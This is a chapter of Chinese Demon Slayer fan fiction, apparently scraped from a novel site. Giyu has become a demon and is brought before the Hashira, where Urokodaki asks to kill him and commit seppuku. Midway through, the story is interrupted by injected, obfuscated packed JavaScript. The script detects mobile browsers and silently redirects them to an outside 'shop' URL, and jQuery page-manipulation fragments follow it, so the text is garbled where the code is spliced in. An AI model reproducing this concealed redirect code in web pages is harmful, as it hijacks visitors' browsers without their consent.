5. 第 5 章

作品:《【水中心】不辱

    珠世轻柔地用手帕擦拭富冈义勇嘴角要破后的血迹,眼神怜悯,她说:“炭治郎,我很抱歉,富冈先生体内的血钉,我和愈史郎可能没办法处理。”


    炭治郎抱住义勇先生的手紧了紧。


    “如果我没感知错,那些血钉是无惨亲自钉进去的,是从他身上分离出来的东西,而鬼王的血肉,即使已经失活,对我们来说也依然是高污染性的剧毒,当然对富冈先生也是如此。”


    “那该怎么办?”炭治郎开口时才发现自己的声音竟然已经压抑到有些嘶哑了,他顿了顿,才又询问道:“珠世小姐,一定还有别的办法吧?”


    珠世收回帕子,叹了口气:“鬼杀队中一定也有医术高超的人在,由人类接触失活的血肉,把钉子取出来是没有什么大问题,但后续的处理,恐怕就不是那么容易了……”


    “唔,”珠世沉吟,又道:“我记得炭治郎说过在一次任务中弥豆子的血鬼术只对鬼有作用。”


    “对!在与下弦五和下弦一的战斗中弥豆子的火焰都只灼烧到了他们!”


    确定了这件事,珠世才松了口气:“如此就好,炭治郎,可以借助弥豆子的血鬼术配合消除。”


    “好!”炭治郎大声道:“十分感谢珠世小姐的帮助!”


    “不必感谢我,炭治郎,”珠世温和地笑了:“事不宜迟,你们尽快出发吧,多拖延一会,富冈先生的状态就多差一分……”


    “好的。”


    炭治郎摸了摸义勇先生雪白的脸颊,顺手擦掉上面的一些血污,再柔和地将他抱进木箱。


    他招呼着弥豆子,一人一鬼一箱向送行的珠世和愈史郎告别。


    —


    “我们是最晚来的啊。”不死川单手扶着刀走进和室。


    跟在后面的炼狱声音洪亮:“真是抱歉!让大家久等了!”


    “无妨,”悲鸣屿开口道:“任务辛苦了,有什么收获吗?”


    不死川盘腿而坐,道:“那里什么都没有,附近的山也去探查了,鬼影都没一个。”


    “唔姆!就是如此,”炼狱抱着手臂,道:“附近的村庄也没发生鬼吃人的事件,像是被什么人彻底清洗过一样。”


    “看来鬼舞仕无惨和上弦的踪迹没那么容易抓住。”伊黑说着,又伸出手指点了点一侧的角落:“话说,这小子为什么也在这?”


    不死川顺着手指看去,就发现那个给了他一头槌的低级队士正坐在无人在意的角落,他“啊?!”的一声,眉毛一横,语气不善道:“这个臭小子怎么进来的!啊?!”


    炼狱哈哈笑了两声,道:“唔姆!看来这次的会议和灶门少年有关呢!我可是认可他和弥豆子了哦!”


    “啊啦,”蝴蝶捂着嘴轻笑了一声:“不死川先生和伊黑先生还是这么不友好呢。”


    炭治郎正直地大声回道:“是主公大人叫我来的!”


    “切,”不死川手撑着下巴,打量了一下他旁边和之前不太一样的木箱,感受到的鬼的气息和上次一样微弱,翻了个白眼。


    既然是主公大人允许的,他和伊黑也不会再说什么。


    说到底,当初在庭院确定了弥豆子不吃人,鬼杀队就已经默认了他们兄妹的存在了。


    “主公大人到。”


    雏衣和日香掺扶着自己的父亲缓步走了进来。


    “上午好,我的孩子们,很高兴能在成员都没改变的情况迎来新的柱合会议。”


    产物敷耀哉用自己不能目视的眼睛关爱着行礼的柱们。


    “主公大人上午好!看到主公大人身体健康真是再好不过了!蜜璃祝愿主公大人身体能更加安康!”


    甘露寺红着脸抢先开口问候主公大人。


    “谢谢你,蜜璃,”产物敷笑着回应了蜜璃,而后又道:“此次会议有一件十分重要的事需要告知各位,雏衣,去请鳞泷先生进来。”


    “师傅?!”炭治郎惊呼出声,他没想到竟然连师傅都来了,还没等他再发出第二声就被伊黑狠狠剜了一眼,他连忙捂嘴禁声。


    “是。”


    雏衣行礼起身,拉开隔间的门请早已等候在此的鳞泷左近次进入和室。


    “主公大人日安。”


    “鳞泷老先生,不必行礼,请就座。”鳞泷刚想跪坐行礼就被产物敷伸手扶住了。


    “是。”


    众柱看着那带着怪异红色天狗面具的老人坐在了他们两列之外。


    看来这就是富冈先生的师傅了,蝴蝶悄悄地打量了一下,但请前任水柱来是想确认下一任水柱的人选么?


    有这种想法的人不在少数,众柱暗暗猜测。


    但下一秒,主公大人的话就如平地惊雷炸在了这和室中。


    他说:“炭治郎,带上义勇和你们的师傅坐在一起吧。”


    “什么?富冈?!”“富冈先生?!”“义勇?!”


    不同的称呼同时响起。


    甚至连富冈义勇的师傅鳞泷都震惊出声。


    在场唯一冷静的人只有炭治郎。


    他抱着那粗糙的木箱上前几步,坐在了鳞泷师傅的左后方。


    “义勇……在箱子里?”老人的声音从红色面具后传来,他伸手扶上那木箱:“他……”


    “师傅,”炭治郎握住鳞泷师傅微微颤抖的手,道:“义勇先生还活着,只是……”


    这里所有人都知道炭治郎未尽的话语是什么。


    充斥在和室中,那无法让人忽视的鬼的气息,虽然浅淡但与人类是截然不同不同的。


    他们的同僚,现任水柱,富冈义勇变成鬼了。


    不死川死死地攥紧拳头,他盯着炭治郎怀里的木箱不放。


    所以……这浅淡的鬼气不属于这小子的妹妹,而是,那个家伙……变成鬼了?!


    “开什么玩笑!”伊黑额头青筋鼓起,他指着那木箱,怒道:“你说柱变成鬼了?!富冈那家伙???”


    “唔姆!难以置信!”炼狱沉下脸,严肃地道:“灶门少年,你在哪遇到的富冈?发生了什么?他还活着?”


    “富冈先生怎么会变成鬼?”


    “富冈……”


    “嘘,”主公大人制止住各位柱的吵嚷,轻声道:“孩子们,稍安勿躁,让炭治郎先说吧。”


    “是。”


    炭治郎深呼吸了一口气,简单道:“我和善逸在西南任务点遇到的义勇先生,我带他去认识的医生那检查过了,义勇先生变成鬼两月有余,并未吃过人,他还有人的意识!主公大人!义勇先生一定也能像弥豆子一样……”


    “炭治郎!”鳞泷厉声打断了炭治郎的话。


    “呃……”炭治郎喉头一哽,鼻尖闻到一股浓郁的悲伤的味道。


    他看到鳞泷师傅动作缓慢地跪伏在地。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081322|195326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “主公大人,作为水之呼吸继承者的富冈义勇变成鬼,且没有在第一时间自刎,是我水之呼吸一门的……过错,请允许我亲自斩杀义勇,之后我会切腹谢罪。”


    炭治郎急切地跪坐起身,他手足无措地说:“等……等等!师傅!您在说什么,义勇先生他没有吃过人啊!他以后也不会吃人的!为什么要这样?!”


    “炭治郎!”鳞泷没有抬头,但严厉的声音还是传了出来:“变成鬼的第一时间没有自刎是义勇作为鬼杀队,作为柱的失职,也是我作为呼吸法培育师的责任!”


    “……”炭治郎嘴巴张张合合,一句话都没有说得出来。


    沉默蔓延在和室。


    直到木锁“咔哒”的声音打破了这窒息的局面。


    众人循声望去,那粗糙的木箱门被打开,他们熟悉的同僚安静地从木箱里爬了出来。


    不……那脏乱无比的头发、妖异的鬼纹和那空洞的眼睛,真的还是他们熟悉的那位同僚吗?


    柱们悄然摸上自己佩刀的刀鞘。


    富冈义勇却旁若无人地爬向跪伏在地的鳞泷身前。


    他伸手抓住了老人水蓝色的外衫,过长的指甲在老人衣服上留下两个洞:“啊……啊……”


    嘶哑的、断断续续的声音从他的嘴巴里溢出。


    鳞泷藏在面具后的眼睛猛地睁大,他缓缓抬头,看到了自己孩子般徒弟鬼化的脸。


    啊……多么残忍啊,他骄傲的小狐狸们,那么多折在紫藤花试炼,好不容易义勇和炭治郎活了下来,现在义勇,这个小时候最爱哭鼻子的小狐狸却又被变成鬼……


    清亮的水珠自天狗面具后滴落而下。


    富冈义勇指甲勾住老人右边的衣袖,无神的蓝色眼眸看着老人怀里一眨不眨,似乎刚刚费力发声的并不是他,他仍然还是那副空洞的模样。


    炭治郎鼻子动了动,犹豫道:“义勇先生,好像对师傅您怀里的东西感兴趣。”


    鳞泷愣了愣,伸手拿出了一个消灾面具。


    白色狐狸面具的嘴角下有一道鲜明地肉色痕迹。


    富冈义勇眼睛随着面具而移动,鳞泷递到了他的眼前。


    “义勇,这是锖兔的面具,你想要吗?”


    惨白的双手几乎是用抢的拿走了面具,富冈义勇直起了上半身,眼睛死死盯着那面具。


    炭治郎看见自遇到后除了发狂就没什么表情的义勇先生,以一种绝对保护的姿态护着拿到的面具。


    义勇先生……原来也认识狭雾山上的那位少年啊,是很好的朋友吗?


    有叹息声自前方落下,产物敷抬手示意紧张的柱们放下手里的刀,他柔和地道:“鳞泷先生,您一生杀鬼无数,为鬼杀队培育了许多优秀的孩子,失去您会是鬼杀队的一大损失。”


    “并且我相信义勇,这孩子意志坚定,变成鬼后没有第一时间自刎并非贪生怕死,更大的可能是没法做到。”


    富冈义勇似乎是有些累正抱着面具蜷缩在地板上的,产物敷伸手摸了摸他的脑袋,他道:“炭治郎所说的医生是我认识并信任的医生,她对鬼的研究恐怕是我们的十倍百倍,那位医生对义勇的检查报告,已由鎹鸦交给我看过。”


    他抬头一一“看”过在座的各位,道:“我并不想处罚鳞泷先生,也不愿处决义勇,出现过弥豆子一例,我们何不去相信还会出现第二例?”